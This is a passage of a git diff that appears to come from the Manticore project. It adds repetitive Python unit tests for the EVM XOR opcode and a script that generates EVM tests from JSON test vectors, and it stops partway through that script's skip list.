+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819920L])
+
+    def test_XOR_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_XOR_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_XOR_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_XOR_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_XOR_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_XOR_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639887L])
+
+    def test_XOR_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_XOR_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49])
+
+    def test_XOR_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819904L])
+
+    def test_XOR_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_XOR_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_XOR_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_XOR_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_XOR_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_XOR_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921023L])
+
+    def test_XOR_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_XOR_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_XOR_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504337864336479446903994433332925807491374665101040L])
+
+    def test_XOR_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_XOR_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_XOR_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_XOR_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_XOR_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/__init__.py b/tests/__init__.py
index e69de29..d3f5a12 100644
--- a/tests/__init__.py
+++ b/tests/__init__.py
@@ -0,0 +1 @@
+
diff --git a/tests/auto/make_evmtests.py b/tests/auto/make_evmtests.py
new file mode 100644
index 0000000..ddc4bec
--- /dev/null
+++ b/tests/auto/make_evmtests.py
@@ -0,0 +1,248 @@
+from pprint import pformat
+from cStringIO import StringIO
+
+def pretty(value, htchar=' ', lfchar='\n', indent=0, width=100):
+    nlch = lfchar + htchar * (indent + 1)
+    if type(value) is dict:
+        items = [
+            nlch + repr(key) + ': ' + pretty(value[key], htchar, lfchar, indent +  1, width)
+            for key in value
+        ]
+        return '{%s}' % (','.join(items) + lfchar + htchar * indent)
+    elif type(value) is list:
+        items = [
+            nlch + pretty(item, htchar, lfchar, indent + 1, width)
+            for item in value
+        ]
+        return '[%s]' % (','.join(items) + lfchar + htchar * indent)
+    elif type(value) is tuple:
+        items = [
+            nlch + pretty(item, htchar, lfchar, indent + 1, width)
+            for item in value
+        ]
+        return '(%s)' % (','.join(items) + lfchar + htchar * indent)
+    elif type(value) in (str, unicode):
+        if len(value) ==0:
+            return repr(value)
+
+        if width is not None and isinstance(value, str):
+            width = width - indent
+            width = max(1, width)
+            o = []
+            for pos in range(0, len(value), width): 
+                o.append(repr(value[pos: pos+width]) )
+            return ('\\' + lfchar + htchar * indent).join(o)
+        return repr(value)
+
+    else:
+        return repr(value)
+pprint = pretty
+pp = pretty
+def spprint(x, indent=0, width=None,**kwargs):
+    if width is not None and isinstance(x, str):
+        o = ''
+        for pos in range(0, len(x), width): 
+            o += ' '*indent + repr(x[pos: pos+width]) + '\\'
+        return o
+    x = pformat(x, indent=0)
+    return (('\n'+' '*indent)).join(x.split('\n'))
+
+def i(x):
+    if isinstance(x, (int, long)):
+        return x
+    assert isinstance(x, (str, unicode))
+    if not x.startswith('0x'):
+        x = '0x' + x
+    return long(x, 0)
+def gen_test(testcase, testname, skip):
+    output = ''
+    if skip:
+        output += '''    @unittest.skip('Gas or performance related')\n'''
+
+    output += '    def test_%s(self):\n'% (os.path.split(testname)[1].replace('-','_'))
+    header = {}
+    env = testcase['env']
+    for key in env:
+        if key.startswith('previous'):
+            _key = str(key[8:].lower())
+        else:
+            _key = str(key[7:].lower())
+        try:
+            header[_key] = i(env[key])
+        except:
+            print "XXXXXX" , key, env[key]
+    output += '        header =' + pprint (header, indent=18) +'\n'
+
+    pre = testcase['pre']
+    world = {}
+    for address in pre.keys():
+        iaddress = i(address)
+        world[iaddress] = {}
+        world[iaddress]['code'] = pre[address][u'code'][2:].decode('hex')
+        world[iaddress]['nonce'] = i(pre[address][u'nonce'])
+        world[iaddress]['balance'] = i(pre[address][u'balance'])
+        world[iaddress]['storage'] = {}
+        for key, value in pre[address][u'storage'].items():
+            world[iaddress]['storage'][key] = value
+
+    #output += "        pre_world =" + pprint( world, indent=22)+'\n'
+    pre_world = world
+    exe = testcase['exec']
+    transaction = {}
+    for key in exe.keys():
+        pkey = str(key)
+        if key == 'gasPrice':
+            pkey = 'price'
+        if key in ['data', 'code']:
+            value = exe[key][2:].decode('hex')
+        else:
+            value = i(exe[key])
+
+        transaction[pkey] = value
+
+    pos_world = None
+    if 'post' in testcase:
+        pos = testcase['post']
+        world = {}
+        for address in pos.keys():
+            iaddress = i(address)
+            world[iaddress] = {}
+            world[iaddress]['code'] = pos[address][u'code'][2:].decode('hex')
+            world[iaddress]['nonce'] = i(pos[address][u'nonce'])
+            world[iaddress]['balance'] = i(pos[address][u'balance'])
+            world[iaddress]['storage'] = {} 
+            for key, value in pos[address][u'storage'].items():
+                world[iaddress]['storage'][i(key)] = i(value)        
+        output += "        pos_world = " + pprint(world, indent=27) + '\n'
+    
+    else:
+        output += "        pos_world = None\n"
+    pos_world = world
+
+
+    #CONTRACT['NONCE'] NOT USED fixme
+    output += '''
+        constraints = ConstraintSet()
+        platform = evm.EVMWorld(constraints)'''
+    
+    for address, contract in pre_world.items():
+        output +='''           
+        platform.create_account(address=%s, 
+                                balance=%s, 
+                                code=%s, 
+                                storage=%s
+                                )''' % (pp(address),
+                                        pp(contract['balance']), 
+                                        pp(contract['code'],width=60, indent=37), 
+                                        pp(contract['storage'],width=80, indent=40))
+
+        output +='''           
+        platform.create_account(address=%s, 
+                                balance=%s, 
+                                code=%s, 
+                                storage=%s
+                                )''' % (pp(transaction['caller']),
+                                        pp(contract['balance']), 
+                                        pp(contract['code'],width=60, indent=37), 
+                                        pp(contract['storage'],width=80, indent=40))
+
+
+    output += '''        
+        address = %s
+        origin = %s
+        price = %s
+        data = %s
+        caller = %s
+        value = %s''' % (
+    pp(transaction['address']),
+    pp(transaction['origin']),
+    pp(transaction['price']),
+    pp(transaction['data']),
+    pp(transaction['caller']),
+    pp(transaction['value']) )
+    output += '''        
+        #platform.transaction(address, origin, price, data, caller, value, header)
+        bytecode = platform.storage[address]['code']
+        new_vm = EVM(constraints, address, origin, price, data, caller, value, bytecode, header, global_storage=platform.storage)
+        
+  
+        throw = False
+        try:
+            #platform.run()
+            new_vm.run()
+        except state.TerminateState as e:                
+            if e.message != 'STOP':
+                throw = True
+
+        if pos_world is None:
+            self.assertTrue(throw)
+        else:
+            self.assertEqual( pos_world, platform.storage)
+'''
+
+    
+    return output
+
+import sys, os, json
+if __name__ == '__main__':
+    filename = os.path.abspath(sys.argv[1])
+
+    assert filename.endswith('.json')
+
+    print '''
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_%s(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+'''%  os.path.split(sys.argv[1][:-5])[1] 
+
+    js = file(filename).read()
+    tests = dict(json.loads(js))
+
+    #print "#processed ", len(tests.keys()), tests.keys()
+    count = 0
+    for test_name, testcase in tests.items():
+        count +=1
+        #print "#count", count , test_name, '0c423e4e26c7938c2a82ce40d05a549d617b32303a824ba5a93cb2fb0b037dfd'
+        skip = False
+        if test_name in ('BlockNumberDynamicJump0_foreverOutOfGas','jump0_foreverOutOfGas', '01a5cf9db140969b2a2410361164fc41c64c070805b82116d217240d4e304f6f', '08d5011d0a278a4d86298cf5a49d99df2662e279100f62fcdbd994df3fe58fbe','3a537f4a02067e6c5a8cf348bdffdb4e6b25475055503a8a5c16690cd51d1060',
+'4341c8f00034ada5203fad4bccf429d2cec28a58dc83e53f4a957694d653dbd4','5340ec41425169e8d8771356443a0a312d3e3c809059eb092b0e2a2f8efb0921', '607ba70d1799c9345e522410e3313582cb9a3e8aecfcb00b3d510e7bbcae522b', '5fc1b8e024dc710ad40a90f6fc18938a90ef020751e3370572d2d4b407e43e63',
+'sha3_3', 'ABAcalls0', 'ABAcalls2', 'ABAcallsSuicide0', 'ABAcallsSuicide1', '0c423e4e26c7938c2a82ce40d05a549d617b32303a824ba5a93cb2fb0b037dfd', '18ee3a269d4408f34f22a0a86c28d2538b48933ceee730a9ae5615bcc21d5435',
+'1dc82eaa4472991b1d8e7a2042e6e6ba59ddc6e6157736fad05d01c5f07d74f1', '2011723095c2f01a6061cea476f2d5aef6f89d9bf8fd65bf19ccbbbfd7f12235',
+'2174a06c481ddff76d7720354934d536b2e65a338db6ed4854a12ad261c0f934', '2c09481e499e7bf0edf21dd42c04cf041d1ef8ab74dfbabc7022791a8f6e35b3',
+'319756923d422ba192da410609ba055adf5964f6d53c23543680721128591fa0','41f8c240c088571b00f7c78e9592c29b2f3b155d9be1089255de4faee3b7fe52',
+'4445aef149dec5c59375104384d94a7c5a1075a465adec36657fe6774bbc200e', '45ae12b67afd7aa490f9c321d137f92d94b04ec0efad268423fc8471d639356f',
+'46e1952a729b786f5f96f160e6fab13a4b78f182a925405df40669a18de94915', '47f0ac8ae67ffd1821270650cb6e6088cb234aabff79f0d0d7d9376c1a3c33bc',
+'499925dd735dd0e62b168507249b64bd19e07ee8abbf185ade4c2cb12a7600f6', '5944d95306be93af8c45c13ec099314aeba52434af09012abd0eb61a80e5d874',
+'5d20205dd04102c2227ddb5624753ef45832d25c4094aeb575c3f21c6c6b58d6', '5f2fc70586e44cea7cf78a2222c7cc4540929df1d47d9659508b1f1d0bd12bbe',
+'6264fce6e5e03527ceac0b4f6d0637cb847e52cde36e5eee085125ce87f82b28','6a1ae314ad4ae7e0e1627a27aa71bc39d335afbe74e8f9f495953bea9e8dc432',
+'6bece201afaedb2fad097d2b7776036166a850565af60697ef3c7735299024ed','7ab1b013a7d76006fe6e61c3e22c05f6dd6a1930117a9c9a9867a8af8e4c0c28',
